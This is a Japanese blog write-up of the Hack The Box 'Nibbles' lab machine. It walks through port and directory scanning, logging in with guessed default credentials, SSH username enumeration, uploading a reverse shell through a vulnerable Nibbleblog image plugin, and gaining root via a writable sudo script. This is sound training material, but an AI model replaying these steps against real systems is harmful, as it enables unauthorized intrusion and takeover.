家studyをつづって

IT技術やセキュリティで勉強したことをつづっています。

【Hack The Box】Nibbles

偵察/スキャン

nmapでポートスキャンを行います。

┌──(kali㉿kali)-[~]
└─$ nmap -P0 -sC -sV 10.10.10.75  
Starting Nmap 7.92 ( https://nmap.org )
Nmap scan report for 10.10.10.75
Host is up (0.72s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 239.81 seconds

TCP/22と80が開いていることがわかりました。

ブラウザでアクセスしてみるとHelloWorldのページが表示されます。

ページのソースをみると、/nibbleblogというディレクトリがあることがわかります。

ブラウザでのアクセスの様子

gobusterでディレクトリを列挙してみます。

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u 10.10.10.75/nibbleblog/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 100       1 ⨯
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.75/nibbleblog/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
/themes               (Status: 301) [Size: 322] [--> http://10.10.10.75/nibbleblog/themes/]
/admin                (Status: 301) [Size: 321] [--> http://10.10.10.75/nibbleblog/admin/] 
/plugins              (Status: 301) [Size: 323] [--> http://10.10.10.75/nibbleblog/plugins/]
/content              (Status: 301) [Size: 323] [--> http://10.10.10.75/nibbleblog/content/]
/README               (Status: 200) [Size: 4628]                                            
/languages            (Status: 301) [Size: 325] [--> http://10.10.10.75/nibbleblog/languages/]

/content配下にuser.xmlというファイルがあり、その中身を見るとadminというユーザがありそうなことがわかります。

user.xmlの中身

また、nibleblog配下でほかにページがないか調査します。

┌──(kali㉿kali)-[~]
└─$ nikto -h http://10.10.10.75/nibbleblog
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.10.75
+ Target Hostname:    10.10.10.75
+ Target Port:        80
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Cookie PHPSESSID created without the httponly flag
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS 
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-29786: /nibbleblog/admin.php?en_log_id=0&action=config: EasyNews from http://www.webrc.ca version 4.3 allows remote admin access. This PHP file should be protected.
+ OSVDB-29786: /nibbleblog/admin.php?en_log_id=0&action=users: EasyNews from http://www.webrc.ca version 4.3 allows remote admin access. This PHP file should be protected.
+ OSVDB-3268: /nibbleblog/admin/: Directory indexing found.
+ OSVDB-3092: /nibbleblog/admin.php: This might be interesting...
+ OSVDB-3092: /nibbleblog/admin/: This might be interesting...
+ OSVDB-3092: /nibbleblog/README: README file found.
+ OSVDB-3092: /nibbleblog/install.php: install.php file found.
+ OSVDB-3092: /nibbleblog/LICENSE.txt: License file found may identify site software.
+ 7877 requests: 0 error(s) and 15 item(s) reported on remote host
---------------------------------------------------------------------------
+ 1 host(s) tested

admin.phpというページがあることがわかります。

アクセスしてみると、管理者画面のログインページが表示されます。

admin.phpへのアクセスの様子

このページは「admin/nibbles」でログインすることができました。

管理画面よりsettingを見るとVer4.03であることがわかります。

Ver確認

 

余談:SSH周りの調査

nmapの結果よりSSHのバージョンが確認できます。

NibblesのOpenSSHのバージョンは以下の脆弱性があります。

www.exploit-db.com

 

上記のコードを実行すると以下のような結果が得られます。

なお、SSHではadmin/nibblesではログインできませんでした。

┌──(kali㉿kali)-[~/nibbles]
└─$ python3 sshenum.py 10.10.10.75                                                                                       1 ⨯
100%root 0.009755699999999992
toor 0.0097714
admin 0.010691499999999993
administrator 0.013962500000000003
user 0.015075000000000005
www-data 0.01616780000000001
host 0.017924100000000026
guest 0.01908470000000001

 

アクセスの取得

nibbleblogとはPHPのブログシステムのようで、4.0.3(4.0.5より前)のnibbleblogのMyImageプラグインにはアップロードするファイルが制限されない脆弱性があるため、
リバースシェルを実行するファイルをアップロードすることでアクセスを取得できるようです。

www.zerodaylab.com

wikihak.com

 

「Plugins」-「My image」-「Configure」に移動してPentestmonkyのphpリバースシェルをアップロードします。

いくつかエラーが表示されましたが操作を続けます。

リバースシェルのアップロード

kali側で待ち受け、「nibbleblog/content/private/plugins/my_image/image.php」にアクセスするとシェルが取得できます。

シェルの取得

 

権限昇格

「sudo -l」を実行すると「monitor.sh」がrootの権限で実行できるようですが、対象のファイルはないようです。

「sudo -l」実行結果

対象のファイルを以下の内容で作成し、実行するとrootが取得できました。

#!/bin/sh
bash

root取得までの様子

/rootは以下にroot.txtもありました。

 

参考にさせていただいたサイト

貴重な情報をありがとうございます。

junki071129.medium.com